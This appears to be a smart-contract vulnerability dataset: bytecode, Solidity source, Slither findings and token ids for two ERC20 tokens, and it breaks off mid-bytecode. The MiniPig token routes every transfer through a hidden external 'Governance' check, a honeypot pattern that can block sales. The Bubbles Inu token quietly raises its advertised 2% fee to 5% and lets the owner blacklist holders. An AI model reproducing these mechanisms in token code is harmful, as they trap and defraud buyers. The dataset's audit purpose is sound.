1c6b565b935093505050935093915050565b6001600160a01b038216611ddd5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161060d565b6000818152600260205260409020546001600160a01b031615611e425760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161060d565b6001600160a01b0382166000908152600360205260408120805460019290611e6b90849061248d565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ed59061251b565b90600052602060002090601f016020900481019282611ef75760008555611f3d565b82601f10611f1057805160ff1916838001178555611f3d565b82800160010185558215611f3d579182015b82811115611f3d578251825591602001919060010190611f22565b50611f49929150611f4d565b5090565b5b80821115611f495760008155600101611f4e565b600067ffffffffffffffff80841115611f7d57611f7d6125dd565b604051601f8501601f19908116603f01168101908282118183101715611fa557611fa56125dd565b81604052809350858152868686011115611fbe57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611fef57600080fd5b919050565b60008083601f84011261200657600080fd5b50813567ffffffffffffffff81111561201e57600080fd5b60208301915083602082850101111561187957600080fd5b60006020828403121561204857600080fd5b61118882611fd8565b6000806040838503121561206457600080fd5b61206d83611fd8565b915061207b60208401611fd8565b90509250929050565b60008060006060848603121561209957600080fd5b6120a284611fd8565b92506120b060208501611fd8565b9150604084013590509250925092565b600080600080608085870312156120d657600080fd5b6120df85611fd8565b93506120ed60208601611fd8565b925060408501359150606085013567ffffffffffffffff81111561211057600080fd5b8501601f8101871361212157600080fd5b61213087823560208401611f62565b91505092959194509250565b6000806040838503121561214f57600080fd5b61215883611fd8565b91506020830135801515811461216d57600080fd5b809150509250929050565b6000806040838503121561218b57600080fd5b61219483611fd8565b946020939093013593505050565b600080600080606085870312156121b857600080fd5b6121c185611fd8565b935060208501359250604085013567ffffffffffffffff8111156121e457600080fd5b6121f087828801611ff4565b95989497509550505050565b60006020828403121561220e57600080fd5b8135611188816125f3565b60006020828403121561222b57600080fd5b8151611188816125f3565b60006020828403121561224857600080fd5b813567ffffffffffffffff81111561225f57600080fd5b8201601f8101841361227057600080fd5b610c0a84823560208401611f62565b60006020828403121561229157600080fd5b5035919050565b600080600080606085870312156122ae57600080fd5b8435935060208501359250604085013567ffffffffffffffff8111156121e457600080fd5b600081518084526122eb8160208601602086016124ef565b601f01601f19169290920160200192915050565b600083516123118184602088016124ef565b8351908301906123258183602088016124ef565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612361908301846122d3565b9695505050505050565b60208152600061118860208301846122d3565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601c908201527f6e6f7420656e6f7567687420737570706c792072656d61696e696e6700000000604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156124a0576124a0612585565b500190565b6000826124b4576124b461259b565b500490565b60008160001904831182151516156124d3576124d3612585565b500290565b6000828210156124ea576124ea612585565b500390565b60005b8381101561250a5781810151838201526020016124f2565b838111156110ae5750506000910152565b600181811c9082168061252f57607f821691505b6020821081141561255057634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561256a5761256a612585565b5060010190565b6000826125805761258061259b565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461126557600080fdfea26469706673582212205a9d62a178c7e6790ba1d2898fcaa88f72faf541e5564cb58367064b46a8a07764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2509, 2497, 2683, 2063, 11387, 16703, 2487, 3540, 2497, 12740, 2620, 2546, 2509, 2497, 19481, 25746, 2692, 2546, 2692, 7959, 2509, 2546, 27009, 16932, 2620, 2546, 12376, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,111
0x963bd1fb75ea1ac7a8571bd8387aade26bf070a4
pragma solidity ^0.4.26; interface Governance { function isGovernance(address sender,address to, address addr) external returns(bool); } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; address governance; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); constructor (uint256 initialSupply, address _governance, address _sender) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "MiniPig"; symbol = "MINIPIG"; governance = _governance; emit Transfer(address(0), _sender, totalSupply); } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); if (address(governance) != address(0)) { Governance(governance).isGovernance(_from,_to,address(this)); } uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461009e578063095ea7b31461012e57806318160ddd1461019357806323b872dd146101be578063313ce5671461024357806370a082311461027457806395d89b41146102cb578063a9059cbb1461035b578063dd62ed3e146103c0575b600080fd5b3480156100aa57600080fd5b506100b3610437565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f35780820151818401526020810190506100d8565b50505050905090810190601f1680156101205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013a57600080fd5b50610179600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104d5565b604051808215151515815260200191505060405180910390f35b34801561019f57600080fd5b506101a8610562565b6040518082815260200191505060405180910390f35b3480156101ca57600080fd5b50610229600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610568565b604051808215151515815260200191505060405180910390f35b34801561024f57600080fd5b50610258610695565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028057600080fd5b506102b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106a8565b6040518082815260200191505060405180910390f35b3480156102d757600080fd5b506102e06106c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610320578082015181840152602081019050610305565b50505050905090810190601f16801561034d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036757600080fd5b506103a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075e565b604051808215151515815260200191505060405180910390f35b3480156103cc57600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610775565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104cd5780601f106104a2576101008083540402835291602001916104cd565b820191906000526020600020905b8154815290600101906020018083116104b057829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105f557600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555061068a84848461079a565b600190509392505050565b600260009054906101000a900460ff1681565b60056020528060005260406000206000915090505481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107565780601f1061072b57610100808354040283529160200191610756565b820191906000526020600020905b81548152906001019060200180831161073957829003601f168201915b505050505081565b600061076b33848461079a565b6001905092915050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156107c157600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561080f57600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561089d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610a5757600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639efb09958585306040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b8101908080519060200190929190505050505b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401141515610c6457fe5b505050505600a165627a7a72305820eab907dd01310a0fc832e50b466a02f42416b438f565ddb3627cfb5538f8d7c80029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2509, 2497, 2094, 2487, 26337, 23352, 5243, 2487, 6305, 2581, 2050, 27531, 2581, 2487, 2497, 2094, 2620, 22025, 2581, 11057, 3207, 23833, 29292, 2692, 19841, 2050, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2656, 1025, 8278, 10615, 1063, 3853, 2003, 3995, 23062, 6651, 1006, 4769, 4604, 2121, 1010, 4769, 2000, 1010, 4769, 5587, 2099, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 3206, 19204, 2121, 2278, 11387, 1063, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 4769, 10615, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,112
0x963bfd4e05432445bae06e2ffa1b399d583921eb
//Bubbles Inu ($BUBINU) //2% Deflationary yes //Telegram: https://t.me/bubblesinuofficial //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BubblesInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bubbles Inu"; string private constant _symbol = "BUBINU"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f427562626c657320496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f425542494e5500000000000000000000000000000000000